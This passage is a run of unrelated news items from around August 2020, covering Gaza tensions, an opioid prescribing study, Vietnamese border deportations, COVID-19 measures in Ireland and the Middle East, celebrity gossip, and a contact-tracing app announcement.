confront Israeli measures in the West Bank and East Jerusalem. "The barbaric Israeli aggression against Jerusalem and its plan of constructing 1,000 settlement units in the West Bank are real dangers," Abdulatif al-Qanou'a, Hamas spokesman in Gaza, said in a statement to Xinhua news agency on Monday. He called on the Palestinians in East Jerusalem and the West Bank to join daily protests, marches and demonstrations against Israel to defend Jerusalem and Al-Aqsa Mosque. Al-Qanou'a also called on the Palestinian militant groups to escalate "armed attacks" against Israel in the West Bank "to prevent it from implementing its plan of annexing parts of the West Bank". On Monday morning, militants of al-Qassam Brigades, the armed wing of Hamas, test-fired eight long-range rockets into the sea of Gaza, said the Hamas-run ministry of interior. Observers said firing testing rockets from Gaza into the sea "is a warning message to Israel that Hamas owns a big arsenal of weapons". Also on Monday morning, masked youths fired dozens of incendiary balloons carrying explosives from Gaza into southern Israel, causing massive fires in the Israeli agricultural fields. On Sunday night, Israeli warplanes destroyed two posts belonging to Hamas militants in the northern Gaza Strip in response to burning balloon attacks from the Palestinian enclave. Hamas had seized control of the Gaza Strip in the summer of 2007 following weeks of internal fighting with the security forces of Palestinian President Mahmoud Abbas. All mediations made between the Islamic movement and the Fatah movement of President Mahmoud Abbas to end more than 13 years of internal division have so far failed. Despite a history of strife, Fatah and Hamas recently announced their agreement to put differences aside to confront Israeli plan to annex parts of the West Bank. Last month, dozens of Palestinians also launched a campaign to urge the Fatah and Hamas movements to achieve national reconciliation, saying it "will contribute to ending the Israeli blockade against the Palestinians and help us confront the Israeli threats against our cause". A system that would selectively screen out some travelers based on a suspicion of covid-19 infection also appears unworkable, according to others involved in the discussions. U.S. Customs and Border Protection personnel have the ability to question travelers and perform cursory inspections, but because large numbers of covid-19 carriers are asymptomatic, the effectiveness of such screenings is questionable. Temperature checks are considered unreliable as well, because many infected carriers do not have fevers or develop them well after they are already contagious. PORTLAND, Ore. - Hospital patients discharged to skilled nursing facilities often bring a high-dose painkiller prescription with them, suggesting more attention should be paid to opioid safety for those patients, research from the Oregon State University College of Pharmacy shows. The findings are important because they shed light on an understudied aspect of the opioid-fueled public health crisis that has gripped the United States for more than two decades. Also, 61% of the patients in the study who received an opioid prescription upon hospital discharge were older than 65 - an age demographic that carries a high risk of opioid-associated harm. "Increased efforts are likely needed to optimize opioid prescribing among patients transitioning from hospitals to skilled nursing facilities," said corresponding author Jon Furuno, an associate professor and the interim chair of the Department of Pharmacy Practice. The study was published in Pharmacoepidemiology and Drug Safety. Traced to over-prescribing that began in the 1990s, the opioid epidemic claims more than 40,000 American lives per year, according to the U.S. Department of Health and Human Services. Ten million people a year misuse prescription opioids, and 2 million suffer from an opioid use disorder. "An estimated 130 people die each day in this country due to an opioid overdose," Furuno said. "And prescription opioid misuse in the United States also does economic damage of more than $78 billion per year." Over a one-year period, Furuno and collaborators at Oregon State, Oregon Health & Science University and the University of Massachusetts Medical School looked at 4,374 hospital patients who were discharged to a skilled nursing facility - a facility for people to receive short-term, rehabilitative care or long-term residential care. Seventy percent of the patients received an opioid prescription upon hospital discharge, and 68% of those prescriptions were for oxycodone - 1.5 times as potent as morphine. Moreover, greater than half of the prescriptions had a daily morphine milligram equivalent of 90 or higher - a threshold the Centers for Disease Control and Prevention says prescribers should "avoid" or "carefully justify." "Being a surgical patient, being female, having a diagnosis of cancer or chronic pain, and receiving an opioid on the first day of hospital admission were all independently associated with the likelihood of receiving an opioid prescription upon discharge to a skilled nursing facility," Furuno said. "For patients or residents in those facilities, opioid risks are often compounded by the fact many of them are taking multiple drugs for multiple conditions." Also, some of those patients are frail and suffer from cognitive impairment that can make safe opioid prescribing more challenging. "And notably, skilled nursing facility residents are also often undertreated for pain," Furuno said. "These results support the complexity and need to optimize opioid prescribing in this patient population." Future research, he added, should look at the frequency of inappropriate opioid prescribing among patients leaving hospitals for skilled nursing facilities; prescribing practices within hospitals; and outcomes as patients go home from skilled nursing facilities. "Complicating matters is the growing number of joint replacement and other surgical patients who receive opioid prescriptions, may stay in a skilled nursing facility for just a short time and then are discharged back into their communities," Furuno said. "Prescribers and pharmacists need to work together to ensure patients' pain is managed safely, and knowing which patients are most at risk can inform the best use of resources like medication counseling and other interventions." ### Dan Hartung, Brie Noble and Ashlee Hubsky of the OSU College of Pharmacy joined Furuno on the study, as did Jennifer Tjia and Kate Lapane of the University of Massachusetts Medical School. A gust of wind, wrong decision by the pilots, the condition of the air strip and even faulty indication by the instrument landing system could be possible reasons for the crash of the Air India Express on Friday in the south Indian city of Kozhikode, according to aviation experts. The dominant reason cited by the experts was the decision by the pilots to not divert the plane to another airport after the first attempt to land at the designated strip failed amid rain. The Boeing 737, bringing back 190 stranded Indians from Dubai, broke into pieces after it overshot the table-top ... Border guards in northern Vietnam have deported 21 Chinese nationals who illegally entered the Southeast Asian country amid the novel coronavirus disease (COVID-19) pandemic. Police officers from Quang Nam Province said on Sunday that they had teamed up with their counterparts in northern Lang Son Province to hand over the group of Chinese nationals. On Saturday, Vietnamese border guards at the Huu Nghi International Border Gate conducted the relevant procedures to send the Chinese nationals home. Last month, the 21 Chinese nationals were found staying at a villa in Dien Duong Ward, Dien Ban Town, Quang Nam Province. They started to flee when police officers stormed the villa, but were eventually caught and sent to a quarantine center in Tam Ky City, the provincial capital, for two weeks. They have been tested for the virus once with all results coming back negative. The foreigners reportedly intended to seek jobs in the neighboring city of Da Nang, the current COVID-19 outbreak epicenter of Vietnam. An investigation found that a Chinese man, identified as Gao Liang Gu, 40, and a Vietnamese woman, Luong Thuy Dung, 34, from the Mekong Delta province of Tra Vinh, had colluded with each other to smuggle the Chinese nationals into Vietnam. The duo were detained on charges of organizing illegal entry and active bribery. Another Chinese national was also held in police custody in involvement with the case. A further investigation into the illegal Chinese entrants is under way. Chinas Gao Liang Gu, 40, is arrested in Vietnam for smuggling people into the Southeast Asian nation in a photo provided by police officers in Quang Nam Province, Vietnam. The Vietnamese Ministry of National Defense reported that border guards had prevented more than 16,000 foreigners from entering Vietnam illegally in the year as of July. As a result, authorities have launched probes into 30 cases in connection with at least 70 individuals Major General To An Xo, the spokesman for the Vietnamese Ministry of Public Security, said at a government press briefing that more than 500 Chinese nationals have made their way illegally into 27 out of the countrys 63 provinces and cities so far this year. A court in the northern province of Quang Ninh last week sentenced six men, aged 18 to 25, to between two and six years in prison for smuggling six Chinese nationals into the country. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Unfortunately, our website is currently unavailable in your country. We are engaged on the issue and committed to looking at options that support our full range of digital offerings to your market. We continue to identify technical compliance solutions that will provide all readers with our award-winning journalism. BAY AREA, Calif., Aug. 11, 2020 /PRNewswire/ -- As a result of the pandemic, as schools adapt to virtual teaching, high school students have had to reconsider their extracurricular plans. Inspirit AI, a pre-college Artificial Intelligence education program developed and taught by graduate students from Stanford and MIT, is now offering AI Scholars Live Online , an experiential AI program delivered online through live video classes. This program offers an opportunity for students to participate in a fun and rewarding program from the comfort of their homes this fall. Students receive personalized instruction online to learn to apply AI to a socially impactful project in a field of interest such as healthcare, sustainability, and robotics. This past summer, over 600 students participated in the program, hailing from places around the world like the Dominican Republic, the United Arab Emirates, Japan, and Vietnam. They learned about cutting-edge AI concepts in small classes with a 4:1 instructor-student ratio. Students then applied their AI knowledge to socially relevant projects such as modeling the COVID-19 pandemic and assessing algorithmic bias in the criminal justice system. They also engaged in college and career workshops preparing them to apply to Computer Science programs at leading U.S. colleges. "These students are our future, and with the power of artificial intelligence, they will move our future in a positive direction," said Artem Trotsyuk, an Inspirit AI instructor pursuing a Stanford PhD in bioengineering, working on combining AI and bioengineering tools to improve wound-healing outcomes. With the rapid growth of AI technologies across every industry, AI education is more important than ever. AI harbors the transformative power to address some of society's biggest challenges like climate change, poverty, and epidemiology. It is especially important for youth to gain an understanding of AI's widespread potential. The program will allow students to enrich their academic experiences while learning to address the problems of the future. IF INTERESTED: Apply here: www.inspiritai.com/liveonline SESSION DATES/TIMES: The program runs for 10 sessions (2.5 hours each), meeting once weekly (all times in U.S. Pacific Time). FALL1 Saturdays: 8am to 10:30am, September 19th to November 21st FALL2 Sundays: 8am to 10:30am, September 20th to November 22nd FALL3 Fridays: 7pm to 9:30 pm, September 18th to November 20th ABOUT INSPIRIT AI AI Scholars Live Online is a 10-session (25 hour) pre-college enrichment program taught by Stanford and MIT graduate students and alumni that exposes high school students to fundamental AI concepts and guides them to build a socially impactful project. Students will be placed into batches according to their programming experience (no experience is required). Learn more at: www.inspiritai.com SOURCE Inspirit AI Related Links https://www.inspiritai.com One of New Jerseys largest school districts says starting the school year with in-person classes is a mathematical impossibility because 375 of its teachers will not return to the classroom because of coronavirus fears. Elizabeths school board voted late Monday night to begin the 2020-2021 school year with all-remote classes so its school buildings can remain closed due to the teacher shortage. The districts plan which goes against state guidelines calling for all public schools to offer some in-person classes needs to be approved by the state Department of Education. As of August 26th, 2021 Yahoo India will no longer be publishing content. Your Yahoo Account Mail and Search experiences will not be affected in any way and will operate as usual. We thank you for your support and readership. For more information on Yahoo India, please visit the FAQ Atlohsa Family Healing Services and St. Josephs Health Care London are in the third year of a three-year pilot program to transform mental health services for the Indigenous peoples of the London-Middlesex and St. Thomas-Elgin region of Ontario. Biigajiiskaan: Indigenous Pathways to Mental Wellness has a mandate to deliver a blend of holistic, Indigenous health and wellness practices in tandem with western medical care. Historically, our people have had difficulties in any type of western institution that only incorporates western modalities of program or service delivery, and hospitals are certainly one of those institutions where our people have suffered a lot of trauma, said Raymond Deleary, executive director of Atlohsa Family Healing Services. Biigajiiskaan attempts to fill in gaps in western health services by offering clients access to knowledge keepers, Elders, and nurses and doctors who are Indigenous. According to Jodi Younger, vice president of patient care and quality for St. Josephs, the Indigenous approach to wellness, which focuses on the mind, body, and heart, is in keeping with the Catholic principles of mind, body, and spirit that St. Josephs leans on. I think Catholic health has the tradition around understanding that health is beyond whats in front of us or tangible, said Younger. The name Biigajiiskaan is an Ojibway concept that touches on the importance of all living things working together in harmony for the greater good, according to the Atlohsa website. And Deleary says this concept speaks to the intention First Nations leaders had when signing treaties with settlers in Canada. Were embodying the philosophy of the Two Row Wampum, where two nations can exist side-by-side each other in peace without interfering with each others path, said Deleary. While the first year of Biigajiiskaan was focused on building the program and its Indigenous governance circle, years two and three were about transitioning leadership and staffing services to Atlohsa to ensure the program became Indigenous-led. Clients are able to work with practitioners in a safe and welcoming environment to create individual health care plans for their specific needs, and will have the option to utilize various healing practices from either modality. The programs funding comes through the Ministry of Healths $250 million commitment under The Journey Together: Ontarios Commitment to Reconciliation With Indigenous Peoples, which attempts to address the Truth and Reconciliation Commissions Calls to Action. To date, 250 individual clients have been served by Biigajiskaan, housed in the Parkwood Institute of Health operated by St. Josephs. At the end of the funding agreement, Atlohsa and St. Josephs will present data amassed through the program about accessibility to mental health for Indigenous people. Deleary recognizes that the ramifications of colonialism, and the intergenerational trauma it has spawned, will prevent some Indigenous clients from participating in this program, but hes hopeful that todays impact will create a better tomorrow. Perhaps its not this generation thats going to overcome [the effects of colonialism], but it might be the next generation or the next generation after that. All we can do is do our best in our current time. We might not be able to be what everybody needs, but we have opened up a doorway to provide what we can to many more people than we have been able to in the past. Younger is enthusiastic about the Biigajiiskaan structural partnership with Atlohsa, saying it has already been a positive opportunity to recognize and address cultural safety. This is about recognizing and building awareness around the history and the legacy about why Indigenous people may fear or distrust our hospital system. For Younger, the efforts to eradicate systemic barriers for Indigenous peoples, to mental health in particular, can be as simple as addressing the language used to discuss health or within hospital settings. She views Biigajiiskaan as a concept that will grow, and does not let the language of pilot program deter the opportunity for this service delivery model. Its simple things like how to document on a traditional health record an interaction with a knowledge keeper or an Elder or a ceremony. I can tell you our charts dont accommodate that really well. During heavy rain, a woman opened the lid of a manhole to drain out accumulated water and stood there for seven hours to warn people not to come there to prevent accidents in Mumbais Matunga on August 4. A few days ago, a video went viral in which Kanta Murti who sells flowers was seen guarding an open manhole in Matunga. Speaking to ANI Murti said, I sell flowers to make a living and support my three childrens education. My five other kids are married and I am the only earning member in the family. My husband is handicapped after being paralysed due to a railway accident. Mumbai: Kanta Murti, who was seen in viral video (of August 4) guarding an open manhole in Matunga to avert accidents, says she stood there for 7 hours. Says, "I uncovered the manhole to drain water & stood there to warn vehicles. BMC officials came later & scolded me for it." pic.twitter.com/dOTKG5hZdW ANI (@ANI) August 10, 2020 On August 4, due to continuous rain in the city, there was water everywhere and people were facing difficulty. Some of the vehicles were floating in the water and things in my house also vanished away. So I came to the road and opened the sewer so that water can drain out, Murti added. Murti said she stood there uncovering the manhole to drain out water and warned vehicles. She said that Brihanmumbai Municipal Corporation (BMC) officials came later and scolded her for the act. I stood there in the water for seven hours and many people saluted me. Some gave me an umbrella and a police official also encouraged me for the act. People called up BMC officials but no one came. On the next day some official came and scolded me for opening the sewer, she said. August 2017 incident in which a man fell in the manhole and died was going in my mind when I opened it and thats why I did not move from there and guided people who were coming from the opposite direction, she added. On 29 August 2017 in Mumbai, there was heavy rain and flooding at Elphinstone Junction. Some people opened the lid of the manhole in which a man named Dr Deepak Amrapurkar fell and two days later his body was found near the sea in Worli. Normal life was disrupted in Mumbai after the city received heavy rainfall at isolated places for 12 hours. SHARE THIS ARTICLE ON I call upon our states attorney and our courts to make sure that these individuals who are arrested and those to come are held accountable. Put your best people on this. We have made the case. We have the video. We have the official testimony. These people need to be held accountable and not cycled through the system. And judges that are holding these cases, you need to step up and be responsible, Lightfoot said. An interstate running through Bexar County turned a little green Tuesday morning after an 18-wheeler carrying cabbage crashed on the far South Side. Just after 1 a.m., Bexar County Sheriff's deputies were called to the Texas 37, near Mathis and Hardy Road, where an 18-wheeler rear-ended a second 18-wheeler. Mama June Shannon claims she's been sober for six months, showing off a six-month chip she received for the milestone. The Mama June: From Not to Hot star, who turned 41 Monday, said in an Instagram clip that she and boyfriend Geno Doak, 44, were both celebrating six months of sobriety. 'Hey guys, real quick I just wanted to jump on here,' the reality star said. 'I know my birthday isn't until Monday, but I want to share this six-month blinged out chip that my manager sent me for my birthday.' Positive changes: Mama June Shannon claims she's been sober for six months, showing off a six-month chip she received for the milestone The McIntyre, Georgia native showed off the pink chip, which displayed the phrases 'unity,' 'service' and 'recovery' with the six-month milestone touted in the middle. 'It's probably the most thing I'm proud of, because now me and Geno are over six months clean,' she said. 'This is amazing, y'all, I'm so proud of this.' She also showed off baked goods her manager Gina Rodriguez sent her to commentate the accomplishment. 'Thanks so much to @ginarodriguez n @b_lynnsnail for the gift I love,' Mama June captioned the Instagram post. 'The blinged out six months chip that is something Im very proud of as me and @doakgeno are over six months clean now.' The McIntyre, Georgia native showed off the pink chip, which displayed the phrases 'unity,' 'service' and 'recovery' with the six-month milestone touted in the middle Proud: The reality star said, 'I want to share this six-month blinged out chip that my manager sent me for my birthday' Sweet: She also showed off baked goods her manager Gina Rodriguez sent her to commentate the accomplishment The McIntyre, Georgia native's post comes after past problems linked to drugs and brushes with the law. Mama June and Doak are more than a year removed from their March 2019 arrest in Alabama in connection with crack cocaine possession. Doak was also charged with domestic violence and harassment in the incident. Both pleaded not guilty to felony drug possession last fall. Right direction: The McIntyre, Georgia native's post comes after past problems linked to drugs, gambling and brushes with the law Costly: She said her addiction to methamphetamine cost as much as $2,500 daily Reflecting: Mama June said she lost who she was for a while amid the time she was on drugs On her We TV series Mama June: Family Crisis, Mama June said that her battle with drug addiction led her to liquidate their finances. 'The only reason I sold the house, we was dead f***ing broke,' said the reality star, who noted that her addiction to methamphetamine cost as much as $2,500 daily, in addition to taking prescription medications. 'Because you know at that point, we was doing quite a bit - I mean, it was a couple ounces a day,' June said. 'I lost who I was for a while, I do believe that. I do believe that the person I wanted to kill is in the past. I hated that person I was.' Google Maps Cody Hansen, 35, was arrested at his home in Spokane, Washington, on Saturday after police in Kent, Washington, said he broke a 72-year-old veteran's jaw during a dispute over wearing face masks. The veteran told police that he had made a comment to Hansen's girlfriend about not wearing a mask before Hansen attacked him. Hansen has been charged with second-degree assault and is being held on a $10,000 bail. Visit Insider's homepage for more stories. A Washington man has been arrested and charged with second-degree assault after being accused of breaking a 72-year-old veteran's jaw during a dispute over wearing face masks. Cody Hansen, 35, was arrested at his home in Spokane, Washington, on Saturday, nearly a month after the July 18 incident at a Red Lion Inn and Suites in Kent. According to the local Fox network affiliate KCPQ, police say Hansen punched a 72-year-old man in the lobby of the hotel. The 72-year-old, who is a veteran and is partially disabled, told police that he had made a comment to Hansen's girlfriend about not wearing a mask. He told officers that Hansen then came to the lobby, punched him several times, leaving him unconscious and breaking his jaw. Video of the incident was recorded by surveillance cameras in the hotel. Hansen's bail was set at $10,000 on Saturday. According to Spokane County Jail's online register, Hansen is still behind bars, At the time of his arrest, Hansen was also wanted in Alaska on a drug charge and a probation violation, HuffPost reported. Washington has had a mask mandate in place since June 26 to help prevent the spread of the novel coronavirus. Read the original article on Insider Technology Development Institute receives CARES funding to create Innovation Stimulus Program Tuesday, Aug. 11, 2020 Applications for the Technology Development Institute's Innovation Stimulus Program are now being accepted and will remain open until all funding has been allocated. MANHATTAN The U.S. Department of Commerce's Economic Development Administration has awarded the Technology Development Institute, or TDI, at Kansas State University grant funding through the Coronavirus Aid, Relief and Economic Security Act to assist regional innovation efforts. TDI is using the funding to create an Innovation Stimulus Program, which provides no-cost commercialization and engineering services to projects that will have a positive economic impact in the region, said Jeff Tucker, executive director of TDI. The program will offer up to $150,000 worth of services to help move projects, products or ideas forward in the marketplace over the next 12 months with a maximum award of $20,000 for any single project. The goal of the program is to help manufacturers and innovators with their innovation efforts even when cash flow may be in short supply, Tucker said. Examples of projects that would fit within the Innovation Stimulus Program would be design, engineering or prototyping of new product ideas, including creation of SolidWorks models or drawings of existing product lines, or modification of existing product drawings to make improvements/upgrades. In addition, conducting preliminary intellectual property, customer and/or market research on new product ideas and creation of new websites or marketing materials such as brochures or technical product specification sheets would be eligible. "We are excited to partner with the Economic Development Administration in offering a program that supports the development of new and innovative ideas that will benefit the job creators of our region," Tucker said. "We are hopeful that by providing the technical support services at no cost, we can ensure our region maintains a competitive advantage and ensures that the impacts of the economic downturn are minimized." Applications for the program opened on Aug. 1 and will remain open until all funding has been allocated. More details on the program and a link to the online application can be found on the TDI website under the Innovation Stimulus Program page. The K-State Technology Development Institute, a U.S. Department of Commerce Economic Development Administration University Center, provides a broad range of engineering and business development services to both private industry and university researchers to advance the commercial readiness of new products or technologies. Additional information is available at k-state.edu/tdi. Images of members of a medical task force from coastal Hai Phong City have gone viral, featuring their heads shaven before a mission trip to Da Nang City, Vietnams current COVID-19 epicenter. On August 8, stories of male practitioners fully shaving their heads before entering Da Nang emerged on social media with photos included. The practitioners were said to be part of a COVID-19 medical task force mobilized from Hai Phong City in northern Vietnam. In a conversation with Tuoi Tre (Youth) newspaper, Dr. Nguyen Tien Dung, the leader of the discussed task force, confirmed this story to be true. These images were taken right before the team headed to Da Nang, where they would help suppress the COVID-19 outbreak. Medical practitioners from Hai Phong Citys task force receive safety instructions before going on a mission trip to Da Nang, Vietnams COVID-19 epicenter. Photo: Tuoi Tre Male practitioners in the team have fully shaved their heads bald, while their female counterparts chose to shorten their long hair. This is meant to help reduce the risk of contracting COVID-19 during their long work shift with patients, Dung elaborated. For his part, Dung did not don a hair shave as his public relations duty requires a look that is easier on the eyes. In the comments section of the story, Facebook users have taken the opportunity to express gratitude to medical responders working at the front line against the pandemic as well as their support for the practitioners new looks. Facebook account Manh Nga affirmed: Doesnt matter, it still looks nice, as long as the medical practitioners stay healthy to battle the pandemic in their best ability. Responding to the volume of support online, Dung reaffirmed that the haircuts are of no particular struggle to the task force, but are rather seen as part of their job. The team of 21 medical practitioners from Hai Phong Citys task force line up in front of the Medical Center of Hoa Vang District in Da Nang, Vietnam. Photo: Tuoi Tre The team of 21 practitioners from Hai Phong have arrived at the makeshift infirmary located in the Medical Center of Hoa Vang District in Da Nang and commenced treating COVID-19 patients. The institution is currently housing 156 COVID-19 patients, 20 of which are receiving dialysis treatment. The number of domestic infections linked to Da Nang has hit 389 since July 25, when the tourist city logged Vietnam's first locally-transmitted case after the country had gone 99 days without any documented community transmission. Vietnam has documented 847 coronavirus cases as of Tuesday morning, of which 318 were imported and 399 have beaten the virus. The countrys health ministry has sent a task force of medical experts and more than 1,000 health workers to Da Nang, while Cuba has also dispatched a medical team to Vietnam. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! A JetBlue Airways plane taxis next to American Airlines, Delta Air Lines and Alaska Airlines aircraft at Reagan National Airport (DCA) in Arlington, Virginia, on Monday, April 6, 2020. U.S. airline stocks Tuesday hit their highest prices since mid-June, but the rally, led by more customers returning to air travel and hopes for more government aid, cooled along with the broader market. Delta Air Lines and United Airlines hit their highest prices since June 19. American Airlines topped its highest share price since June 22 and Southwest Airlines rose to the highest since June 16. The broader S&P 500 was up for most of the session, but slipped in late-afternoon trading. Airline shares have had a strong start to the week after federal data showed more people passing through U.S. airports. On Sunday alone, the Transportation Security Administration screened 831,789 people, the most since March 17. "We continue to believe there is coronavirus fatigue with some now looking to get back to normal life," wrote Cowen airline analyst Helane Becker on Tuesday. "We expect to see TSA throughput trend higher this week probably helped in part by college students returning to their schools." Despite the uptick in travel, those numbers are down by about 70% from a year ago, showing airlines still have a way to go before returning to normal demand levels for the peak summer season. Political support has also grown for $25 billion in additional federal support for airline payrolls, helping lift airlines' stock prices. The aid largely depends on whether lawmakers and the White House reach a deal for a broader coronavirus stimulus package. Even with the recent rally, airlines' shares are down sharply this year. Delta is down 49% year-to-date, United has lost 58% and American is down 52% since the end of last year. Southwest is down 35% since Dec. 31, less than the others since it has a U.S.-focused network, unlike its larger competitors who have suffered from the pandemic's impact on international travel. Source: Xinhua| 2020-08-11 04:47:49|Editor: huaxia Video Player Close People wearing face coverings shop inside a shopping center in downtown Dublin, Ireland, Aug. 10, 2020. Wearing face coverings in retail settings such as shops and shopping centers has been made mandatory in Ireland starting from Monday. (Xinhua) DUBLIN, Aug. 10 (Xinhua) -- Wearing face coverings in retail settings such as shops and shopping centers has been made mandatory in Ireland starting from Monday. Those who violate the rule will face a fine of up to 2,500 euros (about 2,935 U.S. dollars) or six months in jail, according to a decree announced by the Irish government earlier this month. The rule does not apply to children aged below 13 or to workers who are separated from customers by a screen or can maintain a two-meter social distance from others. Earlier last month, the Irish government had already made it mandatory for people to wear face coverings on public transport. Monday is supposed to be the first day for Ireland to move into the fourth phase of reopening its economy and society. However, the day has been postponed by the government due to a recent spike in the number of COVID-19 cases in the country. The Irish Department of Health on Monday night reported another 57 new cases in the country in the day, bringing the total to 26,768. Statistics from the department showed that over the last week, a total of 550 cases were reported in the country, a figure almost doubled when compared with the 286 cases reported in the previous week. Most of these cases were related to clusters of infections in three counties in the central southern part of Ireland, namely Kildare, Offaly and Laois, said the department. The government on Friday announced that starting from midnight of the day the three counties would be put under some sort of lockdown again for two weeks. Ireland embarked on a four-phase road of reopening its economy and society in mid-May with each phase lasting for three weeks. The first three phases were carried out as scheduled, but the last phase, which was first planned to be implemented on July 20, has been twice delayed due to the resurgence of the virus in the country. She's one of the most drama-free characters on Netflix's real estate reality show, Selling Sunset. And Israeli Maya Vander, 32, has revealed that it wasn't for the series villain, Christine Quinn, she believes the show would never have been commissioned for a second season. In podcast, Behind The Velvet Rope With David Yontef, Maya reveals she nearly lost her place on the show and discusses Chrishell Stause's split from Justin Hartley. Interesting: Selling Sunset's Maya Vander (right) has claimed the show wouldn't be interesting without villain Christine Quinn (left) and doubts there would have been a second season She said: 'Christine makes the show. I mean, I honestly, I don't think the show would be actually as fun and successful without Christine. One hundred percent. 'Christine is a very big personality and she's definitely more interesting than myself, you know, the boring, the mom with the kids who actually do real estate and all that. 'She's very out there, the fashion, the statement, everything. Right. So she's more interesting to watch and she can go crazy and do stuff. She said: 'Christine is a very big personality and she's definitely more interesting than myself, you know, the boring, the mom with the kids who actually do real estate and all that' 'If it wasn't for, unfortunately for the last scene with Chrishell in first season, which was a crazy dramatic scene, I don't know if we would have a season two. I don't know if it would be interesting enough.' Maya is pregnant with her second child on the second season of the show but her husband does not appear - and she says she could have got cut because of this. She said: 'I'm trying to at least show him on social media to actually show that I do have a husband and I don't just imagine [him]. 'So I try to share him on some on some Instagram stuff and, you know, just show my more personal family, you know, life, lifestyle. But unfortunately TV is just off limits. Maya said she nearly got cutr from the show because her husband has said that appearing on TV is off limits to him - but he is happy to be on her Instagram page 'I think that was wanting to cut me from the show because I couldn't bring my, yeah. It was almost, I was almost getting cut because I couldn't have him on the show.' During the latest season, Chrishell claims to have been blindsided with her husband, This Is Us star Justin told her he had filed for divorce by text. He denies that events unfolded as she claims, but Maya said neither she or the other castmembers saw it coming. She said: 'I met him only twice and at the office once when we were filming before everything happened and you know, this seems like such a sweet couple. Bad news: During the latest season, Chrishell claims to have been blindsided with her husband, This Is Us star Justin told her he had filed for divorce by text and Maya said she didn't see the split coming either 'So it was really, for me personally, it was really disappointing to hear what happened because They were so good together. 'I mean, it's not like I was hanging out with them all the time, but yeah. I mean, from what I saw zero signs, so, and you know, he's from Chicago and my husband is from Chicago. 'I mean, you know, that was shock to all of us, all the cast. Like we did not see this one happening. I have to give a lot of credit to Chrishell because you know, it's been very tough on her. 'Obviously finding, you know, like dealing with that and she was so professional. She's doing better, but obviously like it's still, you know, still fresh.' Source: Xinhua| 2020-08-12 05:27:42|Editor: huaxia Video Player Close CAIRO, Aug. 11 (Xinhua) -- Iran on Tuesday called for extending the cooperation on fighting COVID-19 in Eastern Mediterranean region. Meanwhile, the tally of coronavirus infections in Saudi Arabia surpassed 290,000. The total COVID-19 infections in Iran, the hardest-hit country in the Middle East, rose to 331,189 after 2,345 new cases were registered. Sima Sadat Lari, the spokeswoman for Iran's Ministry of Health and Medical Education, said the death toll from the novel coronavirus increased to 18,800 after 184 more fatalities were added overnight. So far, 288,620 patients have recovered from the disease while 3,983 others remain in critical condition in Iran, she said. Iran's Minister of Health and Medical Education Saeed Namaki proposed to extend the World Health Organization (WHO) Eastern Mediterranean cooperation program against COVID-19 to more countries in West Asia. He made the proposal during an online meeting with the WHO's Eastern Mediterranean Regional Director Ahmed Al-Mandhari, and the health ministers of the Eastern Mediterranean region's countries, on the region's response to the coronavirus pandemic. Saudi Arabia reported 1,521 new COVID-19 cases on Tuesday, bringing the total infections to 291,469. The death toll climbed by 34 to 3,233, while the total recoveries in the kingdom soared to 255,118 after 1,640 new recoveries were added. In Iraq, the health ministry reported 3,396 new COVID-19 cases, bringing the total infections to 156,995. It also confirmed 67 more fatalities, raising the death toll to 5,531, while 2,312 more patients recovered, bringing the total recoveries to 112,102. Riyadh Abdul-Amir, head of the ministry's Public Health Department, said that Iraq wants to secure the Russian COVID-19 vaccine after it is internationally approved. Abdul-Amir's comments came hours after Russian President Vladimir Putin declared that Russia had registered the world's first vaccine against the novel coronavirus. Turkey confirmed 1,183 new COVID-19 cases on Tuesday, raising the total diagnosed cases to 243,180, Turkish Health Minister Fahrettin Koca said. Meanwhile, 15 people died in the past 24 hours, taking the death toll to 5,873, while 1,185 patients recovered, raising the total recoveries to 226,155, he noted. Israel reported the rise of 1,871 COVID-19 cases on Tuesday, raising the total infections in the state to 86,593. The virus claimed nine more lives, leading to 622 the death toll in Israel, while the total number of recoveries surged to 60,080 after 1,082 more patients recovered. Morocco registered 1,132 new COVID-19 cases on Tuesday, raising the tally of infections to 35,195, including 533 fatalities and 25,385 recoveries. Kuwait reported 668 new COVID-19 cases and four more deaths, raising the tally of infections to 73,068 and the death toll to 486. Algeria on Tuesday reported 492 new cases of coronavirus infection, bringing the total infections to 36,204 including 1,322 deaths. Djamel Fourar, a member of Algeria's Scientific Committee monitoring the spread of COVID-19, said that 4,025 medical staff in the country have been infected with the coronavirus, 69 of whom have died. Palestine registered 476 new COVID-19 cases, bringing the total confirmed cases to 19,594, including 114 deaths and 11,168 recoveries. Palestinian Health Minister Mai al-Kaila held a meeting with Guo Wei, director of the Office of the People's Republic of China to Palestine in the West Bank city of Ramallah, over enhancing bilateral cooperation in the health sector, including combating the COVID-19 pandemic. Al-Kaila expressed gratitude to China for lending a helping hand to Palestine during its tough time in fighting the pandemic, the Palestinian Health Ministry said in a statement. Qatari Health Ministry on Tuesday announced 384 new COVID-19 infections, raising the total confirmed cases in the Gulf state to 113,646, including 188 deaths and 110,324 recoveries. The United Arab Emirates (UAE) confirmed 262 new COVID-19 cases, bringing the tally of confirmed cases to 62,966. The UAE Ministry of Health and Prevention said that 195 more patients recovered from the virus, taking the tally of recoveries to 56,961, while the death toll rose by one to 358. Lebanon's number of COVID-19 infections increased by 309 to 7,121 while the death toll went up by seven to 87, the Lebanese Health Ministry said. Lebanese Health Minister Hamad Hassan announced that 26 teams from the health ministry have been deployed in 23 districts to follow up on COVID-19 cases. He also underscored the need to equip a field hospital within maximum 10 days in order to receive more COVID-19 patients. Syria reported 72 new COVID-19 cases, bringing the overall number of infections in the government-controlled areas to 1,327, including 53 deaths and 385 recoveries. Tunisian Ministry of Health reported 21 new COVID-19 cases, bringing the total infections in the country to 1,738, including 52 deaths and 1,272 recoveries. Tunisia requested passengers arriving from France, Belgium and Iceland present a negative PCR test for the coronavirus 72 hours before the trip, starting Aug. 15. The government also decided to make wearing masks obligatory in major public areas such as airports, railway station, hospitals, private clinics and supermarkets. Enditem El Toro contact tracing app for business, governments, and schools. "As an Advanced Analytics company who is extremely concerned about privacy, our goal in creating this product is to give schools, governments, and businesses an application that allows their students and workers to be safe." ~ Stacy Griggs, CEO of Eltoro.com Known for its IP targeting solution and anonymous tagging of mobile device IDs, Eltoro.com has spun up a privacy-centric contact tracing app to help combat the COVID-19 pandemic. Built in conjunction with Red e App, the app only tracks users at pre-defined locations set by the client. Eltoro.com employs GPS technology to tag users only where they specify to be tracked. The privacy-safe implementation of GPS, geo-fenced to only identify a device while in the user-specified zone, tracks proximal and surface exposure, which cant be done using many other contact tracing technologies. Utilizing the app, users control a wide 